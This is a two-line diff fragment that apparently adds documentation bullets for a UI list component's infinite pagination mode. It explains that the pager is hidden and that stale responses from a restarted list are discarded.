+*   **No pager**: `paginationMode="infinite"` ignores `pagination`; no pagination bar is shown and loaded rows are never sliced.
+*   **Stale responses**: a response for a list that has since restarted is discarded.